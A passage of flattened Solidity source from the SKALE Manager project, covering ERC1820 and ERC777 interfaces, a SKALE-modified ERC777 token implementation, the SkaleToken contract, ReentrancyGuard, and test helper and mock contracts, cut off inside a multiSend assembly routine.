`interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } pragma solidity ^0.6.0; /** * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP. * * Accounts can be notified of {IERC777} tokens being sent to them by having a * contract implement this interface (contract holders can be their own * implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Recipient { /** * @dev Called by an {IERC777} token contract whenever tokens are being * moved or created into a registered account (`to`). The type of operation * is conveyed by `from` being the zero address or not. * * This call occurs _after_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the post-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } // SPDX-License-Identifier: AGPL-3.0-only /* IMintableToken.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; interface IMintableToken { function mint( address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleToken.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./thirdparty/openzeppelin/ERC777.sol"; import "./Permissions.sol"; import "./interfaces/delegation/IDelegatableToken.sol"; import "./interfaces/IMintableToken.sol"; import "./delegation/Punisher.sol"; import "./delegation/TokenState.sol"; /** * @title SkaleToken * @dev Contract defines the SKALE token and is based on ERC777 token * implementation. */ contract SkaleToken is ERC777, Permissions, ReentrancyGuard, IDelegatableToken, IMintableToken { using SafeMath for uint; string public constant NAME = "SKALE"; string public constant SYMBOL = "SKL"; uint public constant DECIMALS = 18; uint public constant CAP = 7 * 1e9 * (10 ** DECIMALS); // the maximum amount of tokens that can ever be created constructor(address contractsAddress, address[] memory defOps) public ERC777("SKALE", "SKL", defOps) { Permissions.initialize(contractsAddress); } /** * @dev Allows Owner or SkaleManager to mint an amount of tokens and * transfer minted tokens to a specified address. * * Returns whether the operation is successful. * * Requirements: * * - Mint must not exceed the total supply. */ function mint( address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleManager") //onlyAuthorized returns (bool) { require(amount <= CAP.sub(totalSupply()), "Amount is too big"); _mint( account, amount, userData, operatorData ); return true; } /** * @dev See {IDelegatableToken-getAndUpdateDelegatedAmount}. */ function getAndUpdateDelegatedAmount(address wallet) external override returns (uint) { return DelegationController(contractManager.getContract("DelegationController")) .getAndUpdateDelegatedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateSlashedAmount}. */ function getAndUpdateSlashedAmount(address wallet) external override returns (uint) { return Punisher(contractManager.getContract("Punisher")).getAndUpdateLockedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) public override returns (uint) { return TokenState(contractManager.getContract("TokenState")).getAndUpdateLockedAmount(wallet); } // internal function _beforeTokenTransfer( address, // operator address from, address, // to uint256 tokenId) internal override { uint locked = getAndUpdateLockedAmount(from); if (locked > 0) { require(balanceOf(from) >= locked.add(tokenId), "Token should be unlocked for transferring"); } } function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) internal override nonReentrant { super._callTokensToSend(operator, from, to, amount, userData, operatorData); } function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal override nonReentrant { super._callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } // we have to override _msgData() and _msgSender() functions because of collision in Context and ContextUpgradeSafe function _msgData() internal view override(Context, ContextUpgradeSafe) returns (bytes memory) { return Context._msgData(); } function _msgSender() internal view override(Context, ContextUpgradeSafe) returns (address payable) { return Context._msgSender(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.6.0; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/math/SafeMath.sol"; Removed by SKALE // import "@openzeppelin/contracts/utils/Address.sol"; Removed by SKALE import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; /* Added by SKALE */ import "../../Permissions.sol"; /* End of added by SKALE */ /** * @dev Implementation of the {IERC777} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * Support for ERC20 is included in this contract, as specified by the EIP: both * the ERC777 and ERC20 interfaces can be safely used when interacting with it. * Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token * movements. * * Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there * are no special restrictions in the amount of tokens that created, moved, or * destroyed. This makes integration with ERC20 applications seamless. */ contract ERC777 is Context, IERC777, IERC20 { using SafeMath for uint256; using Address for address; IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); mapping(address => uint256) private _balances; uint256 private _totalSupply; string private _name; string private _symbol; // We inline the result of the following hashes because Solidity doesn't resolve them at compile time. // See https://github.com/ethereum/solidity/issues/4024. // keccak256("ERC777TokensSender") bytes32 constant private _TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895; // keccak256("ERC777TokensRecipient") bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; // This isn't ever read from - it's only used to respond to the defaultOperators query. address[] private _defaultOperatorsArray; // Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators). mapping(address => bool) private _defaultOperators; // For each account, a mapping of its operators and revoked default operators. mapping(address => mapping(address => bool)) private _operators; mapping(address => mapping(address => bool)) private _revokedDefaultOperators; // ERC20-allowances mapping (address => mapping (address => uint256)) private _allowances; /** * @dev `defaultOperators` may be an empty array. */ constructor( string memory name, string memory symbol, address[] memory defaultOperators ) public { _name = name; _symbol = symbol; _defaultOperatorsArray = defaultOperators; for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) { _defaultOperators[_defaultOperatorsArray[i]] = true; } // register interfaces _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this)); _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this)); } /** * @dev See {IERC777-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC777-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {ERC20-decimals}. * * Always returns 18, as per the * [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility). */ function decimals() public pure returns (uint8) { return 18; } /** * @dev See {IERC777-granularity}. * * This implementation always returns `1`. */ function granularity() public view override returns (uint256) { return 1; } /** * @dev See {IERC777-totalSupply}. */ function totalSupply() public view override(IERC20, IERC777) returns (uint256) { return _totalSupply; } /** * @dev Returns the amount of tokens owned by an account (`tokenHolder`). */ function balanceOf(address tokenHolder) public view override(IERC20, IERC777) returns (uint256) { return _balances[tokenHolder]; } /** * @dev See {IERC777-send}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function send(address recipient, uint256 amount, bytes memory data) public override { _send(_msgSender(), recipient, amount, data, "", true); } /** * @dev See {IERC20-transfer}. * * Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient} * interface if it is a contract. * * Also emits a {Sent} event. */ function transfer(address recipient, uint256 amount) public override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); address from = _msgSender(); _callTokensToSend(from, from, recipient, amount, "", ""); _move(from, from, recipient, amount, "", ""); _callTokensReceived(from, from, recipient, amount, "", "", false); return true; } /** * @dev See {IERC777-burn}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function burn(uint256 amount, bytes memory data) public override { _burn(_msgSender(), amount, data, ""); } /** * @dev See {IERC777-isOperatorFor}. */ function isOperatorFor( address operator, address tokenHolder ) public view override returns (bool) { return operator == tokenHolder || (_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) || _operators[tokenHolder][operator]; } /** * @dev See {IERC777-authorizeOperator}. */ function authorizeOperator(address operator) public override { require(_msgSender() != operator, "ERC777: authorizing self as operator"); if (_defaultOperators[operator]) { delete _revokedDefaultOperators[_msgSender()][operator]; } else { _operators[_msgSender()][operator] = true; } emit AuthorizedOperator(operator, _msgSender()); } /** * @dev See {IERC777-revokeOperator}. */ function revokeOperator(address operator) public override { require(operator != _msgSender(), "ERC777: revoking self as operator"); if (_defaultOperators[operator]) { _revokedDefaultOperators[_msgSender()][operator] = true; } else { delete _operators[_msgSender()][operator]; } emit RevokedOperator(operator, _msgSender()); } /** * @dev See {IERC777-defaultOperators}. */ function defaultOperators() public view override returns (address[] memory) { return _defaultOperatorsArray; } /** * @dev See {IERC777-operatorSend}. * * Emits {Sent} and {IERC20-Transfer} events. */ function operatorSend( address sender, address recipient, uint256 amount, bytes memory data, bytes memory operatorData ) public override { require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder"); _send(sender, recipient, amount, data, operatorData, true); } /** * @dev See {IERC777-operatorBurn}. * * Emits {Burned} and {IERC20-Transfer} events. */ function operatorBurn(address account, uint256 amount, bytes memory data, bytes memory operatorData) public override { require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder"); _burn(account, amount, data, operatorData); } /** * @dev See {IERC20-allowance}. * * Note that operator and allowance concepts are orthogonal: operators may * not have allowance, and accounts with allowance may not be operators * themselves. */ function allowance(address holder, address spender) public view override returns (uint256) { return _allowances[holder][spender]; } /** * @dev See {IERC20-approve}. * * Note that accounts cannot have allowance issued by their operators. */ function approve(address spender, uint256 value) public override returns (bool) { address holder = _msgSender(); _approve(holder, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Note that operator and allowance concepts are orthogonal: operators cannot * call `transferFrom` (unless they have allowance), and accounts with * allowance cannot call `operatorSend` (unless they are operators). * * Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events. */ function transferFrom(address holder, address recipient, uint256 amount) public override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); require(holder != address(0), "ERC777: transfer from the zero address"); address spender = _msgSender(); _callTokensToSend(spender, holder, recipient, amount, "", ""); _move(spender, holder, recipient, amount, "", ""); _approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance")); _callTokensReceived(spender, holder, recipient, amount, "", "", false); return true; } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * If a send hook is registered for `account`, the corresponding function * will be called with `operator`, `data` and `operatorData`. * * See {IERC777Sender} and {IERC777Recipient}. * * Emits {Minted} and {IERC20-Transfer} events. * * Requirements * * - `account` cannot be the zero address. * - if `account` is a contract, it must implement the {IERC777Recipient} * interface. */ function _mint( address account, uint256 amount, bytes memory userData, bytes memory operatorData ) internal virtual { require(account != address(0), "ERC777: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, amount); // Update state variables _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _callTokensReceived(operator, address(0), account, amount, userData, operatorData, true); emit Minted(operator, account, amount, userData, operatorData); emit Transfer(address(0), account, amount); } /** * @dev Send tokens * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _send( address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal { require(from != address(0), "ERC777: send from the zero address"); require(to != address(0), "ERC777: send to the zero address"); address operator = _msgSender(); _callTokensToSend(operator, from, to, amount, userData, operatorData); _move(operator, from, to, amount, userData, operatorData); _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } /** * @dev Burn tokens * @param from address token holder address * @param amount uint256 amount of tokens to burn * @param data bytes extra information provided by the token holder * @param operatorData bytes extra information provided by the operator (if any) */ function _burn( address from, uint256 amount, bytes memory data, bytes memory operatorData ) internal virtual { require(from != address(0), "ERC777: burn from the zero address"); address operator = _msgSender(); /* Chaged by SKALE: we swapped these lines to prevent delegation of burning tokens */ _callTokensToSend(operator, from, address(0), amount, data, operatorData); _beforeTokenTransfer(operator, from, address(0), amount); /* End of changed by SKALE */ // Update state variables _balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Burned(operator, from, amount, data, operatorData); emit Transfer(from, address(0), amount); } function _move( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) private { _beforeTokenTransfer(operator, from, to, amount); _balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance"); _balances[to] = _balances[to].add(amount); emit Sent(operator, from, to, amount, userData, operatorData); emit Transfer(from, to, amount); } /** * @dev See {ERC20-_approve}. * * Note that accounts cannot have allowance issued by their operators. */ function _approve(address holder, address spender, uint256 value) internal { require(holder != address(0), "ERC777: approve from the zero address"); require(spender != address(0), "ERC777: approve to the zero address"); _allowances[holder][spender] = value; emit Approval(holder, spender, value); } /** * @dev Call from.tokensToSend() if the interface is registered * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) */ function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) /* Chaged by SKALE from private */ internal /* End of changed by SKALE */ /* Added by SKALE */ virtual /* End of added by SKALE */ { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH); if (implementer != address(0)) { IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData); } } /** * @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but * tokensReceived() was not registered for the recipient * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) /* Chaged by SKALE from private */ internal /* End of changed by SKALE */ /* Added by SKALE */ virtual /* End of added by SKALE */ { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH); if (implementer != address(0)) { IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData); } else if (requireReceptionAck) { require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient"); } } /** * @dev Hook that is called before any token transfer. This includes * calls to {send}, {transfer}, {operatorSend}, minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - when `from` is zero, `tokenId` will be minted for `to`. * - when `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address operator, address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: AGPL-3.0-only /* IDelegatableToken.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface of the SkaleToken contract. */ interface IDelegatableToken { /** * @dev Returns and updates the amount of locked tokens of a given account `wallet`. */ function getAndUpdateLockedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the amount of delegated tokens of a given account `wallet`. */ function getAndUpdateDelegatedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the amount of slashed tokens of a given account `wallet`. */ function getAndUpdateSlashedAmount(address wallet) external returns (uint); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC777TokensSender standard as defined in the EIP. * * {IERC777} Token holders can be notified of operations performed on their * tokens by having a contract implement this interface (contract holders can be * their own implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Sender { /** * @dev Called by an {IERC777} token contract whenever a registered holder's * (`from`) tokens are about to be moved or destroyed. The type of operation * is conveyed by `to` being the zero address or not. * * This call occurs _before_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the pre-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensToSend( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleTokenInternalTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../SkaleToken.sol"; contract SkaleTokenInternalTester is SkaleToken { constructor(address contractManagerAddress, address[] memory defOps) public SkaleToken(contractManagerAddress, defOps) // solhint-disable-next-line no-empty-blocks { } function getMsgData() external view returns (bytes memory) { return _msgData(); } } // SPDX-License-Identifier: AGPL-3.0-only /* TimeHelpersWithDebug.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "../delegation/TimeHelpers.sol"; contract TimeHelpersWithDebug is TimeHelpers, OwnableUpgradeSafe { struct TimeShift { uint pointInTime; uint shift; } TimeShift[] private _timeShift; function skipTime(uint sec) external onlyOwner { if (_timeShift.length > 0) { _timeShift.push(TimeShift({pointInTime: now, shift: _timeShift[_timeShift.length.sub(1)].shift.add(sec)})); } else { _timeShift.push(TimeShift({pointInTime: now, shift: sec})); } } function initialize() external initializer { OwnableUpgradeSafe.__Ownable_init(); } function timestampToMonth(uint timestamp) public view override returns (uint) { return super.timestampToMonth(timestamp.add(_getTimeShift(timestamp))); } function monthToTimestamp(uint month) public view override returns (uint) { uint shiftedTimestamp = super.monthToTimestamp(month); if (_timeShift.length > 0) { return _findTimeBeforeTimeShift(shiftedTimestamp); } else { return shiftedTimestamp; } } // private function _getTimeShift(uint timestamp) private view returns (uint) { if (_timeShift.length > 0) { if (timestamp < _timeShift[0].pointInTime) { return 0; } else if (timestamp >= _timeShift[_timeShift.length.sub(1)].pointInTime) { return _timeShift[_timeShift.length.sub(1)].shift; } else { uint left = 0; uint right = _timeShift.length.sub(1); while (left + 1 < right) { uint middle = left.add(right).div(2); if (timestamp < _timeShift[middle].pointInTime) { right = middle; } else { left = middle; } } return _timeShift[left].shift; } } else { return 0; } } function _findTimeBeforeTimeShift(uint shiftedTimestamp) private view returns (uint) { uint lastTimeShiftIndex = _timeShift.length.sub(1); if (_timeShift[lastTimeShiftIndex].pointInTime.add(_timeShift[lastTimeShiftIndex].shift) < shiftedTimestamp) { return shiftedTimestamp.sub(_timeShift[lastTimeShiftIndex].shift); } else { if (shiftedTimestamp <= _timeShift[0].pointInTime.add(_timeShift[0].shift)) { if (shiftedTimestamp < _timeShift[0].pointInTime) { return shiftedTimestamp; } else { return _timeShift[0].pointInTime; } } else { uint left = 0; uint right = lastTimeShiftIndex; while (left + 1 < right) { uint middle = left.add(right).div(2); if (_timeShift[middle].pointInTime.add(_timeShift[middle].shift) < shiftedTimestamp) { left = middle; } else { right = middle; } } if (shiftedTimestamp < _timeShift[right].pointInTime.add(_timeShift[left].shift)) { return shiftedTimestamp.sub(_timeShift[left].shift); } else { return _timeShift[right].pointInTime; } } } } } // SPDX-License-Identifier: AGPL-3.0-only /* SafeMock.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; contract SafeMock is OwnableUpgradeSafe { constructor() public { OwnableUpgradeSafe.__Ownable_init(); multiSend(""); // this is needed to remove slither warning } function transferProxyAdminOwnership(OwnableUpgradeSafe proxyAdmin, address newOwner) external onlyOwner { proxyAdmin.transferOwnership(newOwner); } function destroy() external onlyOwner { selfdestruct(msg.sender); } /// @dev Sends multiple transactions and reverts all if one fails. /// @param transactions Encoded transactions. Each transaction is encoded as a packed bytes of /// operation as a uint8 with 0 for a call or 1 for a delegatecall (=> 1 byte), /// to as a address (=> 20 bytes), /// value as a uint256 (=> 32 bytes), /// data length as a uint256 (=> 32 bytes), /// data as bytes. /// see abi.encodePacked for more information on packed encoding function multiSend(bytes memory transactions) public { // solhint-disable-next-line no-inline-assembly assembly { let length := mload(transactions) let i := 0x20 // solhint-disable-next-line no-empty-blocks for { } lt(i, length) { } { // First byte of the data is the operation. // We shift by 248 bits (256 - 8 [operation byte]) it right // since mload will always load 32 bytes (a word). // This will also zero out unused data. let operation := 